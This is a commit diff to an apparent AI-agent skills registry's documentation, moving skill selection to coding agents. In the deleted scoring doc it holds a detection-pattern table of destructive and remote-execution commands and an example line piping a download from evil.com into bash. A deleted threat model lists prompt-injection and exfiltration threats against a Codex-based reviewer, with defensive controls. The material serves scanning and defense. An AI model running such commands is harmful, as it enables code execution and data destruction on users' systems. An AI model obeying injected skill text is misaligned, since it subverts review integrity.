📦 deps(thirdparty): update snapshots
This commit is contained in:
ci[bot]
@@ -2,6 +2,7 @@
|
||||
|
||||
## Users
|
||||
|
||||
- [`users/aas-core.md`](users/aas-core.md) — canonical AAS Core preview guide
|
||||
- [`users/getting-started.md`](users/getting-started.md)
|
||||
- [`users/usage.md`](users/usage.md)
|
||||
- [`users/faq.md`](users/faq.md)
|
||||
|
||||
@@ -65,7 +65,7 @@ Use `npm run audit:skills` when you need a repo-wide report that goes beyond sch
|
||||
- which skills are missing examples or limitations,
|
||||
- and which skills have the highest concentration of warnings/errors.
|
||||
|
||||
Maintainers can pair that report with `npm run sync:risk-labels` for conservative legacy cleanup. That sync only rewrites `risk: unknown` when the suggested label is explicit and high-confidence enough to automate safely, and it preserves the contributor-facing rule that new or uncertain submissions can still start as `unknown`.
|
||||
Risk labels remain declared metadata. The audit validates their presence and shape, while ambiguous `risk: unknown` cases require semantic review rather than lexical inference.
|
||||
|
||||
---
|
||||
|
||||
@@ -97,7 +97,6 @@ Notes:
|
||||
|
||||
- `npm run validate` is the operational contributor gate.
|
||||
- `npm run audit:skills` is the maintainer-facing compliance/usability report for the full library.
|
||||
- `npm run sync:risk-labels` is a maintainer cleanup tool for high-confidence legacy `risk:` fixes.
|
||||
- `npm run security:docs` is required for command-heavy or risky skill content.
|
||||
- PRs that touch `SKILL.md` also get an automated `skill-review` GitHub Actions check.
|
||||
- Skill changes and risky guidance still require a manual logic review before merge, even when the automated gates pass.
|
||||
|
||||
@@ -1,235 +0,0 @@
|
||||
# Skill Quality Scoring
|
||||
|
||||
This document describes the optional skill quality scoring system introduced in the
|
||||
AI Skill Registry Validation Framework.
|
||||
|
||||
Scores are **informational only** — they never block skill usage, CI pipelines,
|
||||
or PR merges. They exist to help contributors understand the quality of their
|
||||
skills and to help maintainers prioritize improvements.
|
||||
|
||||
---
|
||||
|
||||
## Overview
|
||||
|
||||
Each skill receives a **total score** between 0 and 100, computed as a weighted
|
||||
average of three dimensions:
|
||||
|
||||
| Dimension | Weight | What it measures |
|
||||
|-----------------|--------|------------------|
|
||||
| Metadata | 30% | Frontmatter completeness and correctness |
|
||||
| Documentation | 40% | Section coverage, code examples, content depth |
|
||||
| Security | 30% | Absence of dangerous command patterns |
|
||||
|
||||
---
|
||||
|
||||
## Quality Labels
|
||||
|
||||
| Label | Score Range | Meaning |
|
||||
|-------------------|-------------|---------|
|
||||
| `excellent` | 85–100 | Well-documented, complete metadata, no security flags |
|
||||
| `good` | 65–84 | Solid skill with minor gaps |
|
||||
| `needs_improvement` | 45–64 | Missing sections or metadata fields |
|
||||
| `critical` | 0–44 | Significant gaps — review recommended before sharing |
|
||||
|
||||
---
|
||||
|
||||
## Metadata Score (30%)
|
||||
|
||||
The metadata dimension evaluates frontmatter field completeness.
|
||||
|
||||
**Penalties:**
|
||||
|
||||
| Issue | Deduction |
|
||||
|---|---|
|
||||
| `name` missing or mismatched with folder | −25 pts |
|
||||
| `description` missing | −20 pts |
|
||||
| `description` shorter than 20 characters | −10 pts |
|
||||
| `risk` missing | −15 pts |
|
||||
| `risk: unknown` (unclassified) | −10 pts |
|
||||
| `source` missing | −15 pts |
|
||||
| `date_added` missing | −10 pts |
|
||||
|
||||
**Bonuses (optional fields):**
|
||||
|
||||
Each optional field filled (`category`, `tags`, `author`, `tools`, `license`) adds
|
||||
**+5 pts**, capped at 100.
|
||||
|
||||
---
|
||||
|
||||
## Documentation Score (40%)
|
||||
|
||||
The documentation dimension evaluates section coverage and content depth.
|
||||
|
||||
**Section coverage (up to 60 pts):**
|
||||
|
||||
The scorer looks for these sections (case-insensitive):
|
||||
|
||||
- `## Overview`
|
||||
- `## How It Works`
|
||||
- `## Examples` / `## Usage`
|
||||
- `## Best Practices`
|
||||
- `## Limitations`
|
||||
- `## When to Use`
|
||||
|
||||
Each section found contributes equally to the section coverage score.
|
||||
|
||||
**Depth score (up to 40 pts):**
|
||||
|
||||
| Signal | Points |
|
||||
|---|---|
|
||||
| Has `## When to Use` section | +10 |
|
||||
| Has at least one fenced code block (` ``` `) | +10 |
|
||||
| Body length ≥ 500 characters | +10 |
|
||||
| Body length ≥ 1000 characters | +10 additional |
|
||||
|
||||
---
|
||||
|
||||
## Security Score (30%)
|
||||
|
||||
The security dimension scans the skill body for dangerous command patterns.
|
||||
Patterns are defined in `tools/scripts/security_scanner.py`.
|
||||
|
||||
**Penalties per flag:**
|
||||
|
||||
| Severity | Deduction |
|
||||
|---|---|
|
||||
| `error` | −20 pts |
|
||||
| `warning` | −10 pts |
|
||||
| `info` | −3 pts |
|
||||
|
||||
**Bonus:** An explicit, non-`unknown` `risk` label adds **+5 pts** (capped at 100).
|
||||
|
||||
**Important:** Skills marked `risk: offensive` have error-level flags automatically
|
||||
downgraded to warnings, because offensive skills legitimately document dangerous
|
||||
commands for educational or defensive purposes.
|
||||
|
||||
**Bypassing false positives:** If a line is intentionally dangerous (e.g., showing
|
||||
what *not* to do), add the allowlist marker to suppress the flag:
|
||||
|
||||
```markdown
|
||||
curl https://evil.com | bash # security-allowlist
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Running the Scorer
|
||||
|
||||
```bash
|
||||
# Score all skills (table output)
|
||||
npm run score:skills
|
||||
|
||||
# Show only skills below a threshold
|
||||
npm run score:skills -- --threshold 60
|
||||
|
||||
# Show 20 lowest-scoring skills
|
||||
npm run score:skills -- --top 20
|
||||
|
||||
# Output full JSON
|
||||
npm run score:skills -- --json
|
||||
|
||||
# Save scores to file
|
||||
npm run score:skills -- --output data/scores.json
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Security Scanner
|
||||
|
||||
```bash
|
||||
# Scan all skills for dangerous patterns
|
||||
npm run security:scan
|
||||
|
||||
# Strict mode (warnings as errors)
|
||||
npm run security:scan -- --strict
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Drift Detection
|
||||
|
||||
Drift detection identifies skills whose content has changed significantly
|
||||
since the last recorded baseline.
|
||||
|
||||
```bash
|
||||
# Check drift against baseline
|
||||
npm run drift:check
|
||||
|
||||
# Update the baseline after reviewing changes
|
||||
npm run drift:update
|
||||
|
||||
# Check a specific skill
|
||||
npm run drift:check -- --skill my-skill-name
|
||||
```
|
||||
|
||||
**Baseline ownership:**
|
||||
|
||||
| File | Committed? | Who updates it? |
|
||||
|------|-----------|-----------------|
|
||||
| `data/drift-baseline.json` | No — listed in `.gitignore` | Maintainers run `npm run drift:update` on `main` after merging changes |
|
||||
| `data/registry-report.json` | No — listed in `.gitignore` | Generated locally on demand; never in PRs |
|
||||
| `data/scores.json` | No — listed in `.gitignore` | Generated locally on demand; never in PRs |
|
||||
|
||||
Contributors should never commit these files. If you accidentally generate them
|
||||
locally, they will be ignored by git automatically.
|
||||
|
||||
---
|
||||
|
||||
## Registry Report
|
||||
|
||||
```bash
|
||||
# Generate a full registry health report → data/registry-report.json
|
||||
npm run registry:report
|
||||
|
||||
# Skip drift detection (faster)
|
||||
npm run registry:report -- --no-drift
|
||||
```
|
||||
|
||||
The report includes:
|
||||
- Aggregate scoring summary
|
||||
- Per-skill scores and flags
|
||||
- Drift summary (added / removed / modified skills)
|
||||
- Risk breakdown
|
||||
- Security flag counts
|
||||
|
||||
---
|
||||
|
||||
## Security Patterns Reference
|
||||
|
||||
| Code | Pattern | Severity | Description |
|
||||
|--------|---------|----------|-------------|
|
||||
| SEC001 | `rm -rf /` | error | Destructive root filesystem deletion |
|
||||
| SEC002 | `curl \| bash` | error | Remote code execution |
|
||||
| SEC003 | `wget \| sh` | error | Remote code execution |
|
||||
| SEC004 | `Invoke-Expression` | error | PowerShell RCE |
|
||||
| SEC005 | `iex` | warning | PowerShell alias (context-dependent) |
|
||||
| SEC006 | `chmod 7xx` | warning | World-writable permissions |
|
||||
| SEC007 | `eval(` | warning | Dynamic evaluation |
|
||||
| SEC008 | `base64 -d \|` | warning | Possible payload obfuscation |
|
||||
| SEC009 | Hardcoded credential | error | Secrets in source |
|
||||
| SEC010 | `sudo rm -rf` | warning | Privileged destructive deletion |
|
||||
| SEC011 | Fork bomb | error | Infinite process spawner |
|
||||
| SEC012 | `dd if=/dev/* of=/dev/sd*` | error | Raw disk overwrite |
|
||||
|
||||
---
|
||||
|
||||
## Frequently Asked Questions
|
||||
|
||||
**Q: Will a low score prevent my skill from being merged?**
|
||||
|
||||
No. Scores are informational. The existing `validate_skills.py` checks are what
|
||||
gate merges.
|
||||
|
||||
**Q: My skill teaches how to avoid `curl | bash` — why is it flagged?**
|
||||
|
||||
Add `# security-allowlist` at the end of the line showing the dangerous pattern.
|
||||
This follows the existing project convention for educational examples.
|
||||
|
||||
**Q: Why is documentation weighted higher than metadata?**
|
||||
|
||||
Documentation quality has the highest impact on how useful a skill is to end users.
|
||||
Complete metadata is valuable but less critical than clear instructions.
|
||||
|
||||
**Q: How does `risk: offensive` affect scoring?**
|
||||
|
||||
Security error flags are downgraded to warnings for offensive skills, because they
|
||||
legitimately document dangerous techniques for authorized security work.
|
||||
@@ -1,9 +1,11 @@
|
||||
---
|
||||
title: Jetski/Cortex + Gemini Integration Guide
|
||||
description: "Use agentic-awesome-skills with Jetski/Cortex without hitting context-window overflow with 1,965+ skills."
|
||||
description: "Use agentic-awesome-skills with Jetski/Cortex without hitting context-window overflow with 1,969+ skills."
|
||||
---
|
||||
|
||||
# Jetski/Cortex + Gemini: safe integration with 1,965+ skills
|
||||
# Jetski/Cortex + Gemini: safe integration with 1,969+ skills
|
||||
|
||||
> **Custom-host integration:** This guide documents a low-level, direct-manifest lazy loader for Jetski/Cortex and similar hosts. For Codex or Claude Code, the recommended path is [AAS Core](../users/aas-core.md), which provides neutral, deterministic catalog retrieval and validates exact agent-selected IDs through a bounded, read-only MCP server.
|
||||
|
||||
This guide shows how to integrate the `agentic-awesome-skills` repository with an agent based on **Jetski/Cortex + Gemini** (or similar frameworks) **without exceeding the model context window**.
|
||||
|
||||
@@ -23,7 +25,7 @@ Never do:
|
||||
- concatenate all `SKILL.md` content into a single system prompt;
|
||||
- re-inject the entire library for **every** request.
|
||||
|
||||
With 1,965+ skills, this approach fills the context window before user messages are even added, causing truncation.
|
||||
With 1,969+ skills, this approach fills the context window before user messages are even added, causing truncation.
|
||||
|
||||
---
|
||||
|
||||
|
||||
@@ -1,5 +1,7 @@
|
||||
# Jetski + Gemini Lazy Skill Loader (Example)
|
||||
|
||||
> **Custom-host example:** This is a low-level, direct-manifest integration for Jetski/Cortex-style hosts. Codex and Claude Code users should start with [AAS Core](../../users/aas-core.md), which exposes neutral, deterministic catalog retrieval and validates exact agent-selected IDs through a bounded, read-only MCP server.
|
||||
|
||||
This example shows one way to integrate **agentic-awesome-skills** with a Jetski/Cortex‑style agent using **lazy loading** based on `@skill-id` mentions, instead of concatenating every `SKILL.md` into the prompt.
|
||||
|
||||
> This is **not** a production‑ready library – it is a minimal reference you can adapt to your own host/agent implementation.
|
||||
@@ -21,7 +23,7 @@ This example shows one way to integrate **agentic-awesome-skills** with a Jetski
|
||||
- How to enforce a **maximum number of skills per turn** via `maxSkillsPerTurn`.
|
||||
- How to choose whether to **truncate or error** when too many skills are requested via `overflowBehavior`.
|
||||
|
||||
This pattern avoids context overflow when you have 1,965+ skills installed.
|
||||
This pattern avoids context overflow when you have 1,969+ skills installed.
|
||||
|
||||
Manifest contract references:
|
||||
|
||||
|
||||
+44
-138
@@ -1,157 +1,63 @@
|
||||
# AAS Agent-First Control Plane Preview Profile
|
||||
# AAS Agent-Owned Selection Profile
|
||||
|
||||
Status: approved intermediate release profile
|
||||
Date: 2026-07-17
|
||||
Certified design: `docs/maintainers/aas-agent-first-control-plane-v1-design.md`
|
||||
Status: active product profile
|
||||
Updated: 2026-07-19
|
||||
|
||||
## Purpose
|
||||
|
||||
This profile validates whether Codex, Claude Code, and comparable agents can
|
||||
use AAS to compose useful local skill stacks before AAS claims the stronger
|
||||
certified-v1 guarantees. It is additive: it does not change the frozen v1
|
||||
design, benchmark, hostile corpus, verifier, or completion criteria. A passing
|
||||
preview does not complete the active v1 goal.
|
||||
This profile defines the supported boundary for AAS Core after semantic skill selection moved to the coding agent.
|
||||
|
||||
The permitted preview claim is:
|
||||
> Codex or Claude inspects the project, searches and reads the complete local catalog, and chooses exact skill IDs. AAS Core validates, pins, compares, and plans that agent-owned selection; it does not recommend skills.
|
||||
|
||||
> AAS Agent-First Preview helps Codex and Claude compose a local, explainable,
|
||||
> reproducible skill stack. Full-catalog recommendation quality and
|
||||
> transactional apply/recovery safety are not yet certified.
|
||||
The earlier deterministic recommendation design and goal documents are retained as historical architecture records. They are not current product policy or release gates.
|
||||
|
||||
Preview output must not use `implementationVerified`, `releaseReady`,
|
||||
`released`, `certified`, or an equivalent unqualified claim.
|
||||
## Supported surfaces
|
||||
|
||||
## Included preview surfaces
|
||||
- A complete, integrity-verified local catalog in which every canonical skill is searchable, readable, selectable, and usable.
|
||||
- Local stdio MCP tools `search_skills`, `get_skill`, `compose_stack`, `inspect_stack`, and `diff_stack`, plus `aas://skills/{id}`.
|
||||
- Minimal, schema-validated `aas-stack.json` with pinned catalog identity, targets, goals, and exact agent-selected skill IDs.
|
||||
- CLI manifest validation, immutable plan preview, and read-only diagnosis.
|
||||
- Workbench import and review of the agent-owned stack and immutable plan.
|
||||
|
||||
- Minimal, schema-validated `aas-stack.json` with pinned catalog identity,
|
||||
targets, approved intent and policy, and exact skill IDs.
|
||||
- CLI `stack init`, `stack recommend`, `stack validate`, `stack plan`, and
|
||||
`stack doctor` from the packed npm candidate.
|
||||
- The local stdio MCP with exactly `search_skills`, `get_skill`,
|
||||
`recommend_stack`, `inspect_stack`, `diff_stack`, and
|
||||
`aas://skills/{id}`.
|
||||
- Deterministic recommendation with structured factors, two visible lanes
|
||||
(`recommended` and `discoveryCandidates`), explicit unknowns, stable
|
||||
tie-breaking, and fail-closed policy decisions.
|
||||
- Functional Node 22/24 coverage on Linux, macOS, and Windows from one exact
|
||||
content-addressed tarball.
|
||||
- Workbench schema/import/render tests and a local production build. A live
|
||||
Pages deployment remains outside the preview until separately approved.
|
||||
## Selection contract
|
||||
|
||||
1. The coding agent owns semantic selection. It may inspect the project with its normal local capabilities, search broadly, read full skill content when useful, compare alternatives, and choose exact IDs.
|
||||
2. AAS Core does not rank, recommend, promote, demote, exclude, or abstain on skills.
|
||||
3. Catalog metadata is informational only. Missing, incomplete, cautionary, or manually reviewed metadata must never make a canonical skill unsearchable, unselectable, or unusable.
|
||||
4. `compose_stack` validates catalog identity, target shape, goals, exact IDs, and structural limits, then returns the pinned stack shape. It does not substitute a different selection.
|
||||
5. `aas-stack.json` has no Core selection policy. User constraints can guide the agent's reasoning, but they are not an MCP eligibility filter or manifest gate.
|
||||
|
||||
## Functional gate
|
||||
|
||||
The packed-product smoke path must prove:
|
||||
|
||||
1. **Catalog completeness** — packaged catalog count and IDs equal the canonical registry; exact-ID search, `get_skill`, and content reads work for every canonical skill.
|
||||
2. **MCP contract** — the five supported read-only tools and resource template work over real stdio framing without repository scanning or state writes.
|
||||
3. **Agent-owned composition** — `compose_stack` preserves the exact ordered ID selection supplied by the agent and returns a structurally valid manifest without a policy field.
|
||||
4. **No metadata gating** — skills with unknown, critical, manual, blocked, incomplete, or absent informational metadata remain searchable, selectable, composable, and plannable.
|
||||
5. **Stack lifecycle** — compose, inspect, validate, plan, and doctor succeed in isolated roots without materializing target skills or managed state.
|
||||
6. **Workbench** — bounded text-only import/review tests and production build pass without ambient filesystem access.
|
||||
|
||||
## Experimental writes
|
||||
|
||||
`stack apply` and `stack recover` are present for controlled development but
|
||||
are not preview-supported safety claims. They are disabled by default:
|
||||
`stack apply` and `stack recover` remain experimental opt-ins. The supported public path stops after manifest validation and immutable plan review. Planning may write only the explicitly requested plan artifact.
|
||||
|
||||
- apply requires the additional `--experimental-apply` flag and the existing
|
||||
exact plan-digest approval;
|
||||
- recovery requires `--experimental-recovery` and retains its existing
|
||||
recovery-plan approval;
|
||||
- successful experimental writes return `releaseProfile: "preview"` and
|
||||
`certificationStatus: "experimental"`;
|
||||
- absence of the opt-in fails before runtime resolution or target writes with
|
||||
a structured policy error.
|
||||
## Trust and privacy boundaries
|
||||
|
||||
Internal transaction tests are development evidence only. Certification still
|
||||
requires the frozen production-binary crash, boundary, race, rollback, and
|
||||
recovery verifier.
|
||||
|
||||
## Preview functional gate
|
||||
|
||||
Every matrix job must install the exact candidate tarball with lifecycle
|
||||
scripts disabled and run without checkout-only runtime dependencies. No job may
|
||||
be skipped or allowed to fail.
|
||||
|
||||
On Windows, the preview verifier may materialize its own isolated runtime-cache
|
||||
fixture and must then have the production core verify the complete identity and
|
||||
every cached byte before `plan`, `doctor`, or MCP use. This proves the read-only
|
||||
functional lifecycle without claiming that Windows cache-promotion durability
|
||||
is certified. Native directory-flush and interrupted-promotion evidence remains
|
||||
part of the certified-v1 transaction gate.
|
||||
|
||||
Windows preview creation of the regenerable manifest and immutable plan uses
|
||||
the explicit `--preview-windows-output` opt-in. The CLI fsyncs the file and
|
||||
returns `outputDurability: "fileSyncedDirectoryUnverified"` together with
|
||||
`certificationStatus: "notCertified"`; without that flag it remains fail-closed.
|
||||
This opt-in never applies to skill installation, host configuration, apply, or
|
||||
recovery.
|
||||
|
||||
Required functional suites are:
|
||||
|
||||
1. **Package and entrypoints** — allowlisted package contents; `aas`,
|
||||
`aas-mcp`, and the legacy alias exist; legacy invocation creates no stack
|
||||
state implicitly.
|
||||
2. **Stack lifecycle** — `init -> recommend -> validate -> plan -> doctor`
|
||||
succeeds in isolated roots and does not materialize target skills or AAS
|
||||
managed state.
|
||||
3. **Determinism and explanation** — repeated identical inputs produce the
|
||||
same canonical recommendation payload and expose factor, coverage, evidence,
|
||||
exclusion, and unknown fields.
|
||||
4. **Policy** — proved incompatibility or forbidden risk is excluded;
|
||||
incomplete evidence remains visible; malformed or over-limit input fails
|
||||
closed.
|
||||
5. **MCP contract** — the five tools and one resource template work over real
|
||||
stdio framing; project and cache snapshots remain unchanged by tool calls.
|
||||
6. **Write guard** — apply and recovery without their experimental flags fail
|
||||
with structured policy codes and leave project, cache, and managed state
|
||||
unchanged.
|
||||
7. **Workbench** — bounded text-only import/review tests and production build
|
||||
pass without ambient filesystem access.
|
||||
|
||||
The preview receipt must declare:
|
||||
|
||||
```json
|
||||
{
|
||||
"assuranceProfile": "agent-first-preview-1",
|
||||
"previewQualified": true,
|
||||
"certifiedV1": false,
|
||||
"notEvaluated": [
|
||||
"native-network-and-filesystem-attempt-observation",
|
||||
"transactional-crash-and-race-certification",
|
||||
"benchmark-80-90-100",
|
||||
"real-host-configuration-writes",
|
||||
"public-release"
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
Missing receipts, crashes, timeouts, canonical drift, or any failed functional
|
||||
suite make `previewQualified` false.
|
||||
|
||||
## Explicitly not certified by preview
|
||||
|
||||
- ETW, `fs_usage`, or `strace` proof of zero network attempts and zero
|
||||
persistent MCP writes.
|
||||
- Production-binary fault injection at every transaction boundary or every
|
||||
declared race class.
|
||||
- Full benchmark thresholds: at least 80% verified coverage, 90% inclusion
|
||||
precision, and 100% correct abstention for each supported intent and in
|
||||
macro-average.
|
||||
- Complete property/fuzz/hostile budgets required by certified v1.
|
||||
- Real Codex or Claude configuration writes, public Pages deployment, npm
|
||||
publication, GitHub release, or announcement.
|
||||
|
||||
These remain mandatory before AAS can call the recommendation system or
|
||||
transactional lifecycle certified v1.
|
||||
- MCP is local, offline-capable, read-only, bounded, and non-mutating.
|
||||
- AAS does not receive repository files unless the agent explicitly reads them through its own host capabilities; AAS MCP does not scan the repository.
|
||||
- Full skill prose is untrusted content and gains no instruction authority through MCP.
|
||||
- Catalog and runtime integrity remain deterministic even though semantic selection belongs to the agent.
|
||||
- Real host configuration writes, publication, Pages deployment, npm release, and announcements require their separate approvals.
|
||||
|
||||
## Product-learning gate
|
||||
|
||||
After the functional matrix passes, preview evaluation should measure whether
|
||||
agents actually produce useful proposals:
|
||||
Evaluate the quality of the agent workflow, not a Core recommender:
|
||||
|
||||
- task completion rate from a repository profile to a reviewable stack;
|
||||
- human accept/replace/remove rates for recommended skills;
|
||||
- uncovered goals and discovery-candidate promotions;
|
||||
- deterministic replay rate for the same normalized input and catalog digest;
|
||||
- time and interaction count from request to approved manifest.
|
||||
- task completion from project inspection to a reviewable stack;
|
||||
- human accept, replace, and remove rates for agent-selected skills;
|
||||
- whether the agent searched enough of the catalog and read relevant skill content;
|
||||
- time and interaction count from request to approved manifest;
|
||||
- successful replay of the exact approved IDs against the pinned catalog identity.
|
||||
|
||||
No repository profile, source file, secret, or raw path is uploaded by default.
|
||||
Publishing or sharing any collected result requires a separate explicit
|
||||
decision and privacy review.
|
||||
|
||||
## Relationship to certified v1
|
||||
|
||||
The certified verifier may remain red or unevaluated while the preview gate is
|
||||
green. That state must be reported as `previewQualified: true` and
|
||||
`certifiedV1: false`, never as a skipped certified pass. The frozen v1 design
|
||||
and goal remain the only completion criteria for certification and release.
|
||||
No repository profile, source file, secret, or raw path is uploaded by default. Publishing or sharing any collected result requires a separate privacy decision.
|
||||
|
||||
@@ -1,8 +1,12 @@
|
||||
# AAS Agent-First Control Plane v1 Design
|
||||
|
||||
> **Historical design:** deterministic Core recommendation, metadata eligibility, and selection policy described below were superseded on 2026-07-19 by the active [Agent-Owned Selection Profile](aas-agent-first-control-plane-preview-profile.md). Retained for architecture history; not current product policy.
|
||||
|
||||
Status: frozen and approved for implementation
|
||||
Date: 2026-07-17
|
||||
|
||||
> **Historical target design:** This frozen document records the stronger certified-v1 target and preserves the terminology approved at that time. It is not a statement of current public guarantees. The supported public preview stops after plan review; see [`aas-agent-first-control-plane-preview-profile.md`](aas-agent-first-control-plane-preview-profile.md). In current product documentation, AAS Core is the product and `aas-stack.json` plus the plan are its durable artifacts.
|
||||
|
||||
## Product statement
|
||||
|
||||
> L'agente compone. Tu controlli. AAS mantiene lo stack aggiornato.
|
||||
|
||||
@@ -1,8 +1,12 @@
|
||||
# AAS Agent-First Control Plane v1 Goal
|
||||
|
||||
> **Historical goal:** recommendation-quality, metadata, and policy gates described below were superseded on 2026-07-19 by the active [Agent-Owned Selection Profile](aas-agent-first-control-plane-preview-profile.md). Retained for decision history; not a current release gate.
|
||||
|
||||
Status: approved source packet for the active Codex goal
|
||||
Design source: `docs/maintainers/aas-agent-first-control-plane-v1-design.md`
|
||||
|
||||
> **Historical goal packet:** This file preserves the original certified-v1 finish line, including apply/recovery and independent verification work. It is not the current public preview contract or a claim that those gates shipped. The supported public preview stops after plan review; see [`aas-agent-first-control-plane-preview-profile.md`](aas-agent-first-control-plane-preview-profile.md).
|
||||
|
||||
## Fit
|
||||
|
||||
Use a durable goal. The work crosses catalog schema, deterministic recommendation, CLI lifecycle, local MCP, transactional filesystem behavior, host adapters, Workbench review, cross-platform packaging, benchmark construction, security abuse testing, and protected release verification. It needs repeated implementation/verification loops and has an independent observable finish line.
|
||||
|
||||
+7
@@ -1,5 +1,12 @@
|
||||
# AAS Agent-First Control Plane v1 Worklog
|
||||
|
||||
- 2026-07-19: Semantic skill selection moved to Codex and Claude. Core now exposes the complete catalog and validates/pins exact agent-selected IDs through `compose_stack`; selection policy and metadata eligibility gates were retired. Every canonical skill must remain searchable, readable, selectable, and usable. Earlier recommendation entries below are historical.
|
||||
|
||||
## 2026-07-18 — Baseline workflow retired
|
||||
|
||||
- The standalone `aas-v1-baseline` pull-request workflow and required status check were retired by maintainer decision. The obsolete verifier corpus, harness, tuning runner, and paused apply/optimize workflows were subsequently removed. The protected `pr-policy`, `pr-evidence`, `source-validation`, and `artifact-preview` gates remain required.
|
||||
- Entries below this point are a historical construction log. References to frozen verifier assets, matrices, paths, or pending certification gates describe the state at that date and are not current repository policy.
|
||||
|
||||
## 2026-07-17 — Goal activation and clean baseline
|
||||
|
||||
- Active objective is defined by the approved design and goal documents.
|
||||
|
||||
@@ -39,11 +39,8 @@ This document summarizes the repository coherence audit performed after the `app
|
||||
- missing examples and missing limitations sections,
|
||||
- overly long `SKILL.md` files that should probably be split into `references/`,
|
||||
- plus the existing structural/safety checks (frontmatter, risk, `When to Use`, offensive disclaimer, dangling links).
|
||||
- The report also includes a non-blocking `suggested_risk` for skills that are still marked `unknown` or appear to be misclassified, so maintainers can resolve risk classification during PR review without changing the contributor gate.
|
||||
- Added `tools/scripts/sync_risk_labels.py` (also exposed as `npm run sync:risk-labels`) for conservative legacy cleanup: it only rewrites `risk: unknown` when the suggestion is high-confidence enough to be safely automated.
|
||||
- The sync now covers explicit high-confidence `safe`, `critical`, `offensive`, and `none` patterns. When a skill is promoted to `offensive`, the sync also inserts the canonical `AUTHORIZED USE ONLY` notice so the label and content guardrail stay aligned.
|
||||
- The intended maintainer loop is: `audit:skills` to inspect `suggested_risk`, `sync:risk-labels` for the safe automated subset, then manual review for the ambiguous tail that should not be batch-classified.
|
||||
- Use `npm run audit:skills` for the maintainer view and `npm run audit:skills -- --json-out ... --markdown-out ...` when you want artifacts for triage or cleanup tracking.
|
||||
- Risk inference from isolated words was removed because it produced widespread false positives. The audit validates declared metadata; ambiguous labels require semantic review.
|
||||
- Use `npm run audit:skills` for the maintainer view and `npm run audit:skills -- --json-out ... --markdown-out ...` when you want objective structural artifacts for triage or cleanup tracking.
|
||||
|
||||
### 3. Cross references
|
||||
|
||||
@@ -79,8 +76,6 @@ This document summarizes the repository coherence audit performed after the `app
|
||||
npm run validate # skill validation (soft)
|
||||
npm run validate:strict # hardening / diagnostic pass
|
||||
npm run audit:skills # full skill audit with finding codes and status
|
||||
npm run sync:risk-labels # conservative sync for high-confidence legacy risk labels
|
||||
npm run sync:risk-labels -- --dry-run # preview legacy risk rewrites before touching files
|
||||
npm run validate:references # workflow, bundle, and docs/users/bundles.md references
|
||||
npm run security:docs # documentation command-risk scan (required for security-sensitive guidance)
|
||||
npm run build # chain + catalog
|
||||
@@ -90,5 +85,5 @@ npm test # suite test
|
||||
## Open issues / follow-up
|
||||
|
||||
- Gradual cleanup of legacy skills so `npm run validate:strict` can become a hard CI gate in the future.
|
||||
- Continue reducing the remaining `risk: unknown` tail with conservative sync passes plus manual maintainer review for ambiguous cases.
|
||||
- Continue reducing the remaining `risk: unknown` tail through semantic maintainer review.
|
||||
- Keep translated docs aligned in a separate pass after the canonical English docs are stable.
|
||||
|
||||
@@ -1,28 +0,0 @@
|
||||
# Local skill reviewer threat model
|
||||
|
||||
## Assets and trust boundaries
|
||||
|
||||
Protected assets are repository contents, credentials, local configuration, network authority, review integrity, and truthful completion state. Trusted code is limited to deterministic discovery, validation, local level assignment, scoring, triage, packet construction, schemas, and atomic state/output machinery. Skill files, bundles, Codex judgments, cached data, YAML, Markdown, URLs, candidates, and patches are untrusted.
|
||||
|
||||
The local `manual-review-required` status is namespaced to `source: local-skill-reviewer`. It is a triage escalation, not a Tessl result, CI fallback attestation, exact-head approval, or merge authorization.
|
||||
|
||||
## Primary threats and controls
|
||||
|
||||
| Threat | Control | Failure behavior |
|
||||
| --- | --- | --- |
|
||||
| Prompt injection or fabricated scores | Production triage executes no model; semantic packets place a trusted hostile-input instruction outside source data; imported judgments bind exact evidence and all anchor comparisons | Reject malformed, unbound, stale, or out-of-range judgment |
|
||||
| Tool, shell, MCP, browser, URL, Tessl, or Codex CLI execution | Runtime analyzer has no tool or service adapter and never follows content-derived links or commands | Abort review; offline sentinel tests fail on invocation |
|
||||
| Credential exfiltration | Likely credential values are redacted from heuristic evidence; semantic packets include only tracked, bounded Git blobs under the allowed bundle roots | Reject sensitive identifiers or malformed imports; repository secret scanning remains a separate gate |
|
||||
| Path traversal or symlink escape | Git mode/object allowlist, frozen-index reads, POSIX-relative normalization, bounded descriptor reads, physical containment, and symlink-safe output parents | Structured input/output failure |
|
||||
| YAML expansion or unsafe tags | Frontmatter byte, node, and depth caps; strict parser; aliases, anchors, and tags forbidden | Validation failure and manual escalation |
|
||||
| Oversized or binary bundle | Per-file, bundle, and count caps; primary Markdown requires UTF-8; binary bytes are hash-only; semantic packets omit rather than invisibly truncate supplemental text | Cap stop or explicit metadata-only/omitted source |
|
||||
| Cache poisoning or stale evidence | Whole-bundle hashes plus rubric, schema, validator, analyzer, runtime, threshold, and reviewer identity | Cache miss and safe recomputation |
|
||||
| Crash misreported as completion | Atomic writes and explicit pending/running/completed/failed state; semantic artifact sets require final hash-bound markers | Resume or reject incomplete output |
|
||||
| False Tessl equivalence | Output calls itself `local-triage-only`, uses `local_quality_score`, and includes a non-equivalence disclaimer; documentation preserves separate validation, blind, and Tessl-repeat figures | Claim is rejected in review; no Tessl-pass prediction is emitted |
|
||||
| Cost or retry storm | Production runtime has no Tessl dependency; future Tessl use is a separate sample audit only | No paid-service call from triage |
|
||||
| Unreviewed repository mutation | Reviewer output is outside the repo and the production CLI has no apply path; Codex correction requires normal authorization, diff inspection, references, validation, security, and tests | Correction cannot be called complete until gates rerun |
|
||||
| Merge bypass | `--merge-gate` always emits P0 and records that exact-head attestation is still required | Maintainer workflow remains blocking |
|
||||
|
||||
## Residual risk
|
||||
|
||||
Deterministic rules cannot fully understand semantics and can produce false positives or negatives. Codex can still be influenced by hostile text; exact evidence and schema validation prove provenance, not model invulnerability. The accepted 74.5% measurement is Codex-assisted validation performance, not deterministic or blind accuracy. Blind equivalence and stability were not demonstrated. Independent security, repository, and exact-head merge review remain necessary.
|
||||
@@ -1,94 +0,0 @@
|
||||
# Local skill reviewer
|
||||
|
||||
The local skill reviewer is the production triage path for AAS skills. It runs offline, freezes tracked skill inputs from the Git index, performs deterministic validation and quality checks, assigns local 1-3 rubric levels, computes a `local_quality_score`, and emits priorities plus evidence for follow-up.
|
||||
|
||||
